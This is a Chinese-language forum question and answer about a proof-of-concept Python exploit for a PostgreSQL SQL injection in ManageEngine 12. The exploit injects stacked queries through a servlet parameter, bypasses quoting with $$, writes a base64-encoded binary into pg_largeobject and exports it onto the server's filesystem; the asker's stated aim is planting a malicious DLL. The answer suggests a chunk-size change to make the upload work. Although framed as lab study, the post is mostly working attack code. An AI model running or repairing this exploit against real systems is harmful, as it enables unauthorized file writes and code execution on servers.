在Postgresql中使用（大对象）在磁盘上写入二进制文件

Question

我目前正在我的本地实验室（ManageEngine 12）工作，该实验室存在SQL注入漏洞，我使用Postgresql作为数据库引擎

攻击过程如下

1. 创建包含恶意代码的DLL文件
2. 插入一个查询，该查询从磁盘上的任意远程文件创建一个大型对象
3. 插入一个查询，用DLL的前2KB（2048）更新新创建的大型对象的第0页
4. 将插入额外页面的查询注入pg_largeobject表，以包含DLL的其余部分
5. 注入一个将大型对象（DLL）导出到远程服务器文件系统的查询

为了调试，我用简单的exe hello world文件替换了dll文件。要检查文件传输是否正确

但是，直到现在我都找不到问题出在哪里，exe文件的原始大小是4.50KB（4608字节），传输后它变成92字节（92字节），这意味着某个地方有问题

我还尝试了十六进制编码xxd -p hello_world.exe | tr -d '\n'，并在udf变量上使用输出编码替换它。还将poc中的decode($$%s$$, $$base64$$)替换为decode($$%s$$, $$hex$$)。。但也不起作用

注意：对于单引号，$$=”来说，$$是一个旁路

我用自己的dll文件尝试了所有这些步骤，得到了相同的结果，dll文件被破坏了

• 这是编码问题吗
• 我需要使用不同的编码方法吗
• 我需要在编码结果中转义一些坏字符吗

我花了一个多星期的时间来寻找解决方案，但我找不到：）

希望有人能帮我

这是我的POC

#!/usr/bin/python
import requests, sys, urllib, string, random, time

requests.packages.urllib3.disable_warnings()

# base64 for hello_world.exe 
udf = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAHjHvI8AAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAA/iYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAKsmAABPAAAAAEAAAGwFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAoJgAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAABAcAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAGwFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAADfJgAAAAAAAEgAAAACAAUAaCAAAMAFAAADAAIAAQAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYAcgEAAHAoDwAACgAqIgIoEAAACgAqAEJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAAMwBAAAjfgAAOAIAAFACAAAjU3RyaW5ncwAAAACIBAAAHAAAACNVUwCkBAAAEAAAACNHVUlEAAAAtAQAAAwBAAAjQmxvYgAAAAAAAAACAAABRxUAAAkAAAAA+gEzABYAAAEAAAARAAAAAgAAAAIAAAABAAAAEAAAAA4AAAABAAAAAQAAAAAAlwEBAAAAAAAGAAwBFQIGAHkBFQIGAEAA4wEPADUCAAAGAGgAywEGAO8AywEGANAAywEGAGABywEGACwBywEGAEUBywEGAH8AywEGAFQA9gEGADIA9gEGALMAywEGAJoAnQEGAEkCvwEGACAAvwEAAAAAAwAAAAAAAQABAAAAEAC3ARUAQQABAAEAUCAAAAAAkQDGASgAAQBeIAAAAACGGN0BBgACAAAAAQBEAgkA3QEBABEA3QEGABkA3QEKACkA3QEQADEA3QEQADkA3QEQAEEA3QEQAEkA3QEQAFEA3QEQAFkA3QEQAGEA3QEVAGkA3QEQAHEA3QEQAHkA3QEQAIkAKAAaAIEA3QEGAC4ACwAuAC4AEwA3AC4AGwBWAC4AIwBfAC4AKwBmAC4AMwBmAC4AOwBmAC4AQwBfAC4ASwBsAC4AUwBmAC4AWwBmAC4AYwCEAC4AawCuAC4AcwC7AASAAAABAAAAAAAAAAAAAAAAAAEAAAAEAAAAAAAAAAAAAAAfAAwAAAAAAAAAAAAAMQA8TW9kdWxlPgBtc2NvcmxpYgBIZWxsb1dvcmxkAENvbnNvbGUAV3JpdGVMaW5lAEd1aWRBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlADEuZXhlAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAUHJvZ3JhbQBTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAYXJncwBPYmplY3QAABlIAGUAbABsAG8AIABXAG8AcgBsAGQA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"


loid = 1234

def log(msg):
    print msg

def make_request(url, sql):

    log("[*] Executing query: %s" % sql)
    r = requests.get( url % sql, verify=False)
    return r

def delete_lo(url, loid):
    log("[+] Deleting existing LO...")
    sql = "SELECT lo_unlink(%d)" % loid
    make_request(url, sql)

def create_lo(url, loid):
    log("[+] Creating LO for UDF injection...")
    sql = "SELECT lo_import($$C:\\windows\\win.ini$$,%d)" % loid
    make_request(url, sql)

def inject_udf(url, loid):
    log("[+] Injecting payload of length %d into LO..." % len(udf))
    for i in range(0,int(round(len(udf)/2048.0))): # Done
        udf_chunk = udf[i*2048:(i+1)*2048]
        if i == 0:
            sql = "UPDATE PG_LARGEOBJECT SET data=decode($$%s$$, $$base64$$) where loid=%d and pageno=%d" % (udf_chunk, loid, i)
        else:
            sql = "INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (%d, %d, decode($$%s$$, $$base64$$))" % (loid, i, udf_chunk)
        make_request(url, sql)


def export_udf(url, loid):
    log("[+] Exporting the file to filesystem...")
    sql = "select lo_export(%d, $$C:\\Users\\Public\\hello_world.exe$$)" % loid
    make_request(url, sql)


if __name__ == '__main__':
    try:
        server = sys.argv[1].strip()

    except IndexError:

        print "[-] Usage: %s serverIP:port" % sys.argv[0]
        sys.exit()

    sqli_url = "https://"+server+"/servlet/AMUserResourcesSyncServlet?ForMasRange=1&userId=1;%s;--" 

    delete_lo(sqli_url, loid)
    create_lo(sqli_url, loid)
    inject_udf(sqli_url, loid)
    export_udf(sqli_url, loid)

Answer 1

问题是：

for i in range(0,int(round(len(udf)/2048.0))): # Done
        udf_chunk = udf[i*2048:(i+1)*2048

这个值2048改变了文件大小，您应该将其更改为4096

让我知道这是否有效